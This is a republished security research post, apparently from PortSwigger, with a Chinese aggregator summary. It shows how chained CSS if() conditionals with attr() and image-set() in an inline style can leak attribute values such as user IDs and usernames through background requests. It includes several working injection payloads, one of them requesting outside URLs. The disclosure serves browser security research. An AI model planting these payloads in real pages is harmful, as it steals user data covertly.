Inline Style Exfiltration: leaking data with chained CSS conditionals
文章介绍了一种利用CSS的attr()、image-set()和if语句通过内联样式窃取属性数据的方法。该技术无需导入外部样式表即可实现跨域请求,并可用于窃取简单数据如用户ID或用户名,在Chromium浏览器中有效。 2025-8-26 12:54:3 Author: portswigger.net(查看原文) 阅读量:5 收藏

Gareth Heyes

  • Published: 26 August 2025 at 12:54 UTC

  • Updated: 26 August 2025 at 13:46 UTC


I discovered how to use CSS to steal attribute data without selectors and stylesheet imports! This means you can now exploit CSS injection via style attributes! Learn how below:

Someone asked if you could steal data using inline styles. I initially dismissed the idea but then I was reminded of Slonser's excellent technique of using the attr() and image-set() functions to steal data from the attribute. This method can steal an entire attribute provided you import a style sheet from your chosen domain. But this left me pondering what about without importing a stylesheet? Can you steal data just using inline styles?

CSS introduced if statements, that's right this (not a) programming language now has conditionals. I was sure I could use this as a way to check the attribute value and make a background request to any domain I like without requiring a stylesheet import. I began crafting a vector:

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1);
else: url(/2));background:image-set(var(--steal))" title=1>test</div>

But it didn't work. Then Slonser sent a snippet that did work and it turned out the if statement comparison requires double not single quotes:

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

How quirky is CSS! I'm used to single and double quotes being interchangeable like JavaScript. So now we could make a request to an arbitrary domain using a background request and inline styles. The problem here is that you can only check one value but of course this (not a) programming language supports nested if statements! So you can chain them together and check for multiple values. This allows you to steal non-complex data such as user ids or usernames:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

In the preceding example it can steal the data-uid attribute if it contains a value in the range of 1-10. So if you ever find yourself locked in a style attribute and need to steal the data of an attribute you can use our Custom Action in Burp Suite to brute force the required values! Note at the time of writing this technique only works on Chromium based browsers.

Here's a video demonstrating stealing usernames from the data-username attribute using a Burp Custom Action:

A demonstration of using a Custom Action to generate some HTML that can be used to steal data with inline styles.

Here is the code used in the video:

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://portswigger.net/martin); else: if(style(--val:"zak"): url(https://portswigger.net/zak); else: url(https://portswigger.net/james))); background: image-set(var(--steal));' data-username="james"></div>

Proof of concept

Back to all articles


文章来源: https://portswigger.net/research/inline-style-exfiltration
如有侵权请联系:admin#unsafe.sh